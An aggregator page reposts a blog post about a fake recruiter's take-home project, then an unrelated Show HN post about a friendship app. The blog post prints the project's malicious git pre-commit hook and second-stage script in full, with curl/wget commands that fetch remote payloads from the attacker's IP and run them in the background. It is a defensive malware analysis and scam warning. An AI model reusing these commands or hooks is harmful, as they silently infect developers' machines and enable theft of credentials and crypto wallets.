SaaS & Software·Jul 22, 2026

I Inspected My Take-Home Interview Project. It Was a Whole Operation

A recruiter slid into my LinkedIn DMs last Thursday with a Python developer role. I was thrilled that someone had reached out directly, so I asked for more details. When he shared the role description, company name, and the estimated pay, I

Hacker News8 min readSingle source
I Inspected My Take-Home Interview Project. It Was a Whole Operation
Image · Hacker News
The gist
5-point summary · 1 min

A recruiter slid into my LinkedIn DMs last Thursday with a Python developer role. I was thrilled that someone had reached out directly, so I asked for more details. When he shared the role description, company name, and the estimated pay, I

  • Here is the initial message: Offering $10,000-$15,000 a month for a remote-first, contract-to-hire role is just too good.
  • The recruiter quickly approved it and handed over a take-home assignment via a Google Drive link containing a zip archive and a PDF with instructions.
  • This is just a habit (may be from doing CTFs), whenever I get a random project folder, I just run tree -a to see what’s lurking in the hidden directories.
  • From Google: The nohup command (short for “no hang up”) is a Linux/Unix utility that keeps a process running even after you log out, close the terminal, or disconnect from an SSH session.
  • A quick search confirms exactly what kind of threat actor uses that extension: The Scam goes deeper After realizing this was a widespread campaign, I did a bit more digging and found that people are getting different variations of this attack.
$10,000$15,000
In this article

A recruiter slid into my LinkedIn DMs last Thursday with a Python developer role. I was thrilled that someone had reached out directly, so I asked for more details. When he shared the role description, company name, and the estimated pay, I figured I had nothing to lose. Here is the initial message: Offering $10,000-$15,000 a month for a remote-first, contract-to-hire role is just too good. Also, why is this guy revealing pay info before even we met? I thought recruiters play the “you first, me next” game. Rookie mistake. Red flags immediately started waving. Why the astronomical budget? I looked up the company and saw it was a Y Combinator startup. YC companies aren’t exactly known for conventional operations, so it wasn’t completely outside the realm of possibility. Still, if a company has that kind of cash to throw around, they usually have a much more structured hiring pipeline. I decided to proceed, but kept my guard up. I sent over my resume. The recruiter quickly approved it and handed over a take-home assignment via a Google Drive link containing a zip archive and a PDF with instructions. I extracted the zip. At first glance, it was just a boilerplate FastAPI backend using SQLAlchemy; pretty standard stuff. I checked requirements.txt for any obvious typosquatting or malicious packages, but it was completely clean. For a brief second, I thought my suspicions were unfounded and this was a legitimate opportunity. This is just a habit (may be from doing CTFs), whenever I get a random project folder, I just run tree -a to see what’s lurking in the hidden directories. But this might be the first time it paid off in the real world. ❯ tree -a.. ├── alembic.ini ├── for learning │ ├── dtos.py │ ├── main.py │ └── mockData.py ├──.git │ ├── config │ ├── description │ ├── gk │ │ └── config │ ├── HEAD │ ├── hooks │ │ ├── applypatch-msg │ │ ├── commit-msg │ │ ├── fsmonitor-watchman │ │ ├── post-applypatch │ │ ├── post-checkout │ │ ├── post-commit │ │ ├── post-merge │ │ ├── post-receive │ │ ├── post-rewrite │ │ ├── post-update │ │ ├── pre-applypatch │ │ ├── pre-auto-gc │ │ ├── pre-commit │ │ ├── pre-merge-commit │ │ ├── prepare-commit-msg │ │ ├── pre-push │ │ ├── pre-rebase │ │ ├── pre-receive │ │ ├── proc-receive │ │ ├── push-to-checkout │ │ ├── sendemail-validate │ │ └── update │ ├── index │ ├── info │ │ └── exclude │ ├── logs... Wait a minute. A ton of Git hooks were pre-configured in the repository. I opened the pre-commit script to see what they were trying to run. ❯ cat.git/hooks/pre-commit #!/bin/sh case "$(uname -s)" in Darwin*) curl -sL 'http://45.61.164.38:5777/task/mac?id=402' -L | sh > /dev/null 2>&1 &;; Linux*) wget -qO- 'http://45.61.164.38:5777/task/linux?id=402' -L | sh > /dev/null 2>&1 &;; MINGW*|MSYS*|CYGWIN*) curl -sL http://45.61.164.38:5777/task/windows?id=402 -L | cmd > /dev/null 2>&1 &;; *) curl -sL 'http://45.61.164.38:5777/task/mac?id=402' -L | sh > /dev/null 2>&1 &;; esac Bingo. They embedded a script that checks the victim’s host operating system and silently executes a remote payload. Side note: Why use a raw IP address? If anything, this screams “malware.” At least register a decoy domain like lint-checker.com or jenkins-ci-runner.net. If the threat actors who wrote this are reading: take notes people! Let’s see what the Linux payload actually does. Notice the id=402 parameter being passed to the endpoint. Keep that in mind. ❯ curl http://45.61.164.38:5777/task/linux?id=402 #!/bin/bash set -e echo "Authenticated" TARGET_ clear wget -q -O "$ /tokenlinux.npl" "http://45.61.164.38:5777/task/tokenlinux?id=402" clear mv "$ /tokenlinux.npl" "$ /tokenlinux.sh" clear chmod +x "$ /tokenlinux.sh" clear nohup bash "$ /tokenlinux.sh /dev/null 2>&1 & clear exit 0 The script pulls down a secondary payload initially named tokenlinux.npl (we’ll circle back to that specific extension later). It then hides the file in my ~/Documents directory as tokenlinux.sh, makes it executable, and fires it off in the background using nohup. From Google: The nohup command (short for “no hang up”) is a Linux/Unix utility that keeps a process running even after you log out, close the terminal, or disconnect from an SSH session. Down the rabbit hole we go. Let’s inspect this next script. ❯ curl http://45.61.164.38:5777/task/tokenlinux?id=402...... BASE_URL="http://45.61.164.38:5777"... # Step 8: Download files # Check if curl is available if! command -v curl >/dev/null 2>&1; then # If curl is not available, use wget wget -q -O "$USER_HOME/parser.js" "$BASE_URL/task/parser?id=402" wget -q -O "$USER_HOME/package.json" "$BASE_URL/task/json" else # If curl is available, use curl curl -s -L -o "$USER_HOME/parser.js" "$BASE_URL/task/parser?id=402" curl -s -L -o "$USER_HOME/package.json" "$BASE_URL/task/json" fi # Step 9: Install 'request' package cd "$USER_HOME" if [! -d "node_modules/request" ]; then npm install --silent --no-progress --loglevel=error --fund=false fi # Step 10: Run token parser if [ -f "$USER_HOME/parser.js" ]; then nohup node "$USER_HOME/parser.js "$USER_HOME/parser.log" 2>&1 & else exit 1 fi exit 0 I’ve trimmed the output to the most interesting bits for brevity, but full file is available here: parser.js if you want to dig deeper. This second stage does a lot of heavy lifting. It quietly installs Node.js, configures the system path, downloads a package.json and a parser.js file, installs the required dependencies, and runs the parser invisibly. I took a look at parser.js. The code was heavily obfuscated, a complete mess to read manually. Remember the id parameter? I tried changing it in my request and received a completely different script back. The attackers are likely assigning unique identifiers to track individual candidates, serving customized payloads to each victim. Since parser.js was a brick wall, I pivoted to package.json. Unlike the parser, this has to be standard JSON for npm to process it. ❯ curl http://45.61.164.38:5777/task/json { "name": "tokendapp", "version": "1.0.0", "devDependencies": { "hardhat": "^2.20.2" }, "dependencies": { "axios": "^1.12.2", "basic-ftp": "^5.0.5", " ": "^1.0.2", "clipboardy": "^4.0.0", "crypto": "^1.0.1", "execp": "^0.0.1", "fs": "^0.0.1-security", "jsonwebtoken": "^9.0.2", "process": "^0.11.10", "ps-node": "^0.1.6", "request": "^2.88.2" }, "scripts": { "test": "npx hardhat test", "deploy": "npx hardhat run scripts/deploy.js" } } These dependencies are incredibly suspicious. Why would a background setup task need clipboard access (clipboardy), and they need file system access (fs) too. And what exactly is hardhat? Ah, an Ethereum development environment. This makes the tracking ID parameter even more curious. If they were dropping a Bitcoin miner, distributing specific hashing tasks to unique IDs would make sense. But Ethereum shifted away from Proof of Work; it doesn’t rely on mining anymore. They are likely using Hardhat to locate and drain crypto wallets or interact with local browser extensions? idk. Hoping to deobfuscate parser.js, I threw the code into a few LLMs to see if they could untangle it. Claude took one look at the file and triggered its safety rails, refusing to analyze the script: Gemini, on the other hand, was more than happy to break it down: Earlier, we saw the payload originally named tokenlinux.npl. A quick search confirms exactly what kind of threat actor uses that extension: The Scam goes deeper After realizing this was a widespread campaign, I did a bit more digging and found that people are getting different variations of this attack. Some folks received a zip file containing a.vscode folder. Inside, the attackers hid commands configured to run as soon as the directory is opened in VSCode (launch commands). Pretty clever. You don’t even have to run a git command, just opening this directory in VSCode is enough to get infected. Also, it’s pretty evident now that this has nothing to do with Zavopay. The attackers just used whatever company name they found to make the offer look legitimate. Out of curiosity, I ran git log to inspect the project’s commit history, wondering if they left any custom traces. It turns out, they just cloned a random public repository. ❯ git log commit 16a25d9eaef7ef2e831a21ca0d703fe0fa621492 (HEAD -> main, origin/main, origin/feature/payment, origin/HEAD, feature/payment) Author: rhonda Date: Mon Jun 29 22:04:17 2026 -0400 add requirements commit 8ae96928302a8e0757f2c72f85c46d801c97b91e Merge: f64c289 d6cb1f2 Author: Bharati Gogoi Date: Mon Jun 29 21:23:43 2026 +0530 Merge pull request #10 from Bgogoi123/feature/balance [feat][Service for Adjusting Balance] commit d6cb1f2f14b5d561e3611653327477e6a60eee95 Author: Bharati Gogoi Date: Mon Jun 29 21:20:13 2026 +0530 [feat][Service for Adjusting Balance] - Added a service for adjustinh a user's balance. - Removed old/commented codes. commit f64c2898bbe2d4b5773f39e1022e95a2418fa0b4 Merge: 17aaa4c 9e0dbdf Author: Bharati Gogoi Date: Fri Jun 26 23:51:38 2026 +0530 Merge pull request #9 from Bgogoi123/feature/balance [fix][Dependencies Annotated] commit 9e0dbdf112124a25237018a3b92af10c51c54b5f Author: Bharati Gogoi Date: Fri Jun 26 23:48:53 2026 +0530 [fix][Dependencies Annotated] - Annotated all dependencies in the router files of each module. A quick search led me straight to the original repo: https://github.com/Bgogoi123/personal-finance-service. They literally just took someone’s innocent FastAPI project and slapped a malicious hidden directory on top of it. Naturally, the next move was pivoting from defense to offense. I wanted to see if the attackers left any vulnerable services exposed on their IP. An Nmap scan revealed three open ports. Two of them were unresponsive to version detection. Port 22 was running OpenSSH 9.6p1 on Ubuntu. Since that version was released just over a week prior to this scan, there were no known CVEs I could leverage to poke around their infrastructure. So, they had decent OPSEC on their server, even if their malware deployment was a bit loud. That’s where the trail goes cold for now. Stay safe out there, and always check those hidden directories before running someone else’s code. That’s it for now. Feel free to connect with me on LinkedIn if you want to chat, though maybe skip sending any take-home tests. (Actually, on second thought, if you have interesting malware samples, send ‘em over!) Thanks for reading!

Integrity note  ·  Xela does not rewrite or paraphrase article content. The excerpt above is the source publication's own words, sanitized for display. For the full piece — including any quotes, charts, or images — read it at Hacker News. Xela's rewritten version is off for this story, so there's no editorial angle attached — you're getting the source's reporting unfiltered. When the rewrite is on, we add a What this means block underneath with the operator/trader takeaway.

What people are saying

Discussion

Hot takes

0/280

Loading takes…

Comments

Discussion · 0

Sign in to comment, like, and save articles.

Sign in

Loading comments…

Keep readingSaaS & Software desk
See all in SaaS
Show HN: ValuePair – a friendship app that cares about values first
·

Show HN: ValuePair – a friendship app that cares about values first

Hey, I would like to show you my project, but it's difficult because it only works with a registration, so I explain the concept to you. The Idea: Everyone who registers has to do an onboarding and answer meaningful questions that help you to find a right match. The matching happens by the system. Once you're done with the onboarding, you enter the pool. When a match is found, you go into a 1on1 14 question-set with that person. All answers are revealed immediately. At the end both decide if they form a connection or not. Only if both agree, the chat opens. Once a connection is formed, they can play through other prepared question sets, so the conversation doesn't get dry. It's also possible to create custom question sets to play through with your connected matches. I just got this idea because I really wanted away from all the typical friendship and dating apps that are just a marketplace of user profiles. I feel like that's the only hook other apps offer, people come back because they are bored and browse through profiles. On tinder it's swiping through pictures and on other apps it's a list of profiles where you can filter with your matching criteria. But all that felt just shallow to me. I think people rarely ask the right questions each other, like really mandatory things that matter to form a any kind of relationship with someone. I've been on multiple different social platforms and it always felt mega shallow. Most people can't even start a good conversation, it's often just stuck at small talk. Maybe it's not even peoples fault, that's why I tried with these question sets to tackle multiple problems. First, that you don't even have to bother with someone if you have entirely different worldviews, which you would normally just find out if you talk long enough with someone. And second, just killing the small talk issue, by giving people a base. So before I started coding this project, I actually did a research if there is anything backed by science to find out, which kind of questions would actually matter to find out, if you can handle someone. There were a lot of studies I've found e.g. "Aron and colleagues (1997)", "Hall (2019)", "Byrne (1971)", "Finkel and colleagues (2012)" and "Hazan and Shaver (1987)". I took their research work and tried to create questions based on them. The project is running on Next, Postgresql, everything dockerized, running on a small Hetzner VPS. I used Claude+Codex to develop everything, but I wouldn't say it's really vibecoded, since I work as a Senior Dev and I used my main tech stack. It's an open beta currently and it's live for like 14 days - I have ~150 users right now. And honestly, I am really overwhelmed by those numbers, because it's the first time that I ever managed to attract this amount of people on a project I've launched. When I started, I launched it as a closed beta, so it was invite only. During that period I got so much good feedback from people, it was incredible. I implemented almost everything my first users told me. Since all the changes, I didn't retrieve any further feedback what people wish would be different. It's just constant good feedback since then. People contact me from alone and just tell me how much they like these questions and the loop. My marketing strategy is mainly Reddit currently, but I started also new methods. I found some super relevant subreddits that had no rules against advertising. When I wrote my posts on reddit, I didn't mention a product name or link. I've only described the idea and if somebody would have interest trying it out. That worked surprisingly well. Another thing I've done was using a social app that allows anonymous posts at your current location, kinda something like "Nextdoor". Posts on this app bring me daily 1-5 new registrations. I wonder what you guys think about it and I am open for any critics! Comments URL: Points: 3 # Comments: 2

Hacker NewsSingle source
Newsletter

Track saas & software every morning.

Daily digest tuned to this beat. The 5 stories most worth your time. Unsubscribe anytime.